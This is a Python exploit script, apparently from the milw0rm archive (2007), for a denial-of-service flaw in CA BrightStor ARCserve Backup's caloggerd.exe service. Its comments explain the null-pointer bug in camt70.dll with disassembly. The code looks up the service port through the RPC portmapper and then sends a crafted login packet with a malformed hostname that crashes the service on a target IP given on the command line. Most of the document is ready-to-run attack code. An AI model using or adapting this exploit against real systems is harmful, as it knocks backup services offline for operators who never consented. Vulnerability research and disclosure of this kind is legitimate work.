CA BrightStor Backup 11.5.2.0 - 'caloggderd.exe' Denial of Service

#!/usr/bin/python
#
# Computer Associates (CA) Brightstor Backup caloggderd.exe DoS (camt70.dll)
# (Previously Unknown)
# 
# There is an issue in camt70.dll when caloggerd is processing a hostname for a login operation.
# When processing the string, if a null is passed in as an argument, it will be loaded into ESI
# and then loaded into EDI in which the string processing will read a null memory location.
# 
# .text:0032ADD0 push    ecx
# .text:0032ADD1 mov     eax, [esp+4+arg_4]
# .text:0032ADD5 push    esi
# .text:0032ADD6 mov     esi, [esp+8+arg_8] <--null gets loaded
# .text:0032ADDA push    edi
# .text:0032ADDB mov     edx, [eax]
# .text:0032ADDD mov     edi, esi	    <-- EDI gets set to nulls
# .text:0032ADDF or      ecx, 0FFFFFFFFh
# .text:0032ADE2 xor     eax, eax
# .text:0032ADE4 repne scasb
#
# This was tested on BrightStor ARCserve Backup 11.5.2.0 (SP2) with the latest 
# CA patches on Windows XP SP2 
#
# CA has been notified
#
# Author: M. Shirk 
#
# (c) Copyright 2007 (Shirkdog Security) shirkdog_list $ at % hotmail dot com 
#
# Use at your own Risk: You have been warned 
#------------------------------------------------------------------------

import os
import sys
import time
import socket
import struct

#------------------------------------------------------------------------

# RPC GetPort request for caloggerd
rpc_portmap_req="\x80\x00\x00\x38\x21\x84\xf7\xc9\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa0\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x09\x82\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00"


# Begining of RPC Packet
packet="\x80\x00\x00\x58\x31\x46\xD3\xB9\x00\x00\x00\x00\x00\x00\x00\x02"

# Prog ID (caloggerd)
packet+="\x00\x06\x09\x82"

# Operation number 1
packet+="\x00\x00\x00\x01\x00\x00\x00\x01"

# Nulls
packet+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

# Size of hostname, used in the Login
packet+="\x00\x00\x00\x22" 

# Hostname, which apparently with the size and the nulls, causes the DoS
packet+="\x41\x41\x41\x41"*8
packet+="\x41\x41\x00\x00"
packet+="\xff\xff\xff\xff"

#------------------------------------------------------------------------

def GetCALoggerPort(target):
	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	sock.connect((target,111))
	sock.send(rpc_portmap_req)
	rec = sock.recv(256)
	sock.close()

	port1 = rec[-4]
	port2 = rec[-3]
	port3 = rec[-2]
	port4 = rec[-1]	
	
	port1 = hex(ord(port1))
	port2 = hex(ord(port2))
	port3 = hex(ord(port3))
	port4 = hex(ord(port4))
	port = '%02x%02x%02x%02x' % (int(port1,16),int(port2,16),int(port3,16),int(port4,16))
	port = int(port,16)

	print '[+] Sending TCP Packet of Death to Target: %s Port: %s' % (target,port)
	ExploitCALoggerd(target,port)


def ExploitCALoggerd(target,port):
	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	sock.connect((target,port))
	sock.send(packet)
	sock.close()
	print '[+] Done...\n[+] caloggerd.exe is dead\n[+] ... or it will die in a few seconds for you inpatient bastards\n'


if __name__=="__main__":
       try:
               target = sys.argv[1]
       except IndexError:
		print '[+] Computer Associates (CA) Brightstor Backup caloggerd.exe DoS (camt70.dll)'
       		print '[+] Author: Shirkdog'
               	print '[+] Usage: %s <target ip>\n' % sys.argv[0]
               	sys.exit(-1)

       print '[+] Computer Associates (CA) Brightstor Backup caloggerd.exe DoS (camt70.dll)'
       print '[+] Author: Shirkdog'

       GetCALoggerPort(target)

# milw0rm.com [2007-05-16]